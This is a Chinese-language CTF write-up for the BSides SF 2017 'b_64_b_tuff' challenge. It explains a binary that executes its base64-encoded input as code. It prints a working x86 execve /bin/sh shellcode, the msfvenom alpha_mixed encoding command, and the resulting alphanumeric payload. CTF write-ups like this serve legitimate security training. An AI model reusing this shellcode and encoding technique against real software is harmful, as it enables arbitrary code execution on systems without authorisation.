BSides San Francisco CTF 2017-b_64_b_tuff

1.常规checksec下,只开了NX,之后IDA打开文件之后,有如下语句:

1
2
3
4
#注释头

s = (char *)base64_encode((int)buf, v7, v5);
((void (*)(void))v5)();

img

这里v7是输入的Buf,v5是mmap分配的内存空间。之后的语句:代表了将v5对应的内存空间强制转化为函数指针并且调用,在汇编代码中也可以看出来:这里的[ebp+var_18]就是我们输入的buf经过编码base64编码后存放的地方。

1
2
3
#注释头

text:0804879C var_18 = dword ptr -18h

img

3.所以我们输入的内容就成了会被执行的汇编代码,也就是可以输入Shellcode,来执行我们需要的命令。这里可以看一个连接网址,从里面找shellcode:

http://shell-storm.org/shellcode/

可以通过linux/x86/sh/bash/execve/shellcode等等关键词来查找,这里直接给出一个可用的shellcode:

img

1
2
3
#注释头

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

4.但是有Base64_encode,所以我们输入的需要会被base64编码,而base64编码只能由只由0-9,a-z,A-Z,+,/这些字符组成,(这里就是对应的ascii转换表中内容)所以常规的shellcode就不合格,我们这里选中的shellcode中某些字符就没办法被base64编码,所以这里需要用到msfvenom来选择一个可用的编码器,将我们常规的shellcode编码成可以被base64编码的shellcode。

5.打开Linux,输入msfvenom -l encoders可以查看编码器,后面有介绍,可以看一下,从中选择一个可用的编码器对shellcode进行编码即可。

6.查到x86/alpha_mixed这个编码器可以将我们输入的shellcode编码成大小写混合的代码,符合条件。

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

运行编码器的代码如下:

python -c ‘import sys; sys.stdout.write(“\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”)’ | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 –platform linux BufferRegister=EAX -o payload

7.输入这段代码运行之后可以看到当前文件夹目录下生成了一个payload文件,文本打开就可以看到编码后的shellcode:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

8.之后需要将这段可以被Base64编码的进行Base64解码,得到的shellcode再被程序中的Base64编码后才是我们真正起作用的shellcode。利用python脚本即可。

1.’import sys; sys.stdout.write(“shellcode”)’:这是导入包之后写入编码的shellcode。

2.由于msfvenom只能从stdin中读取,所以使用Linux管道符”|”来使得shellcode作为python程序的输出。

3.此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

4.由于在b-64-b-tuff中是通过指令call eax调用shellcode的eax,所以配置BufferRegister=EAX。最后即可在payload中看到对应的被编码后的代码。这段shellcode代码就可以被base64编码成我们需要的汇编代码。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157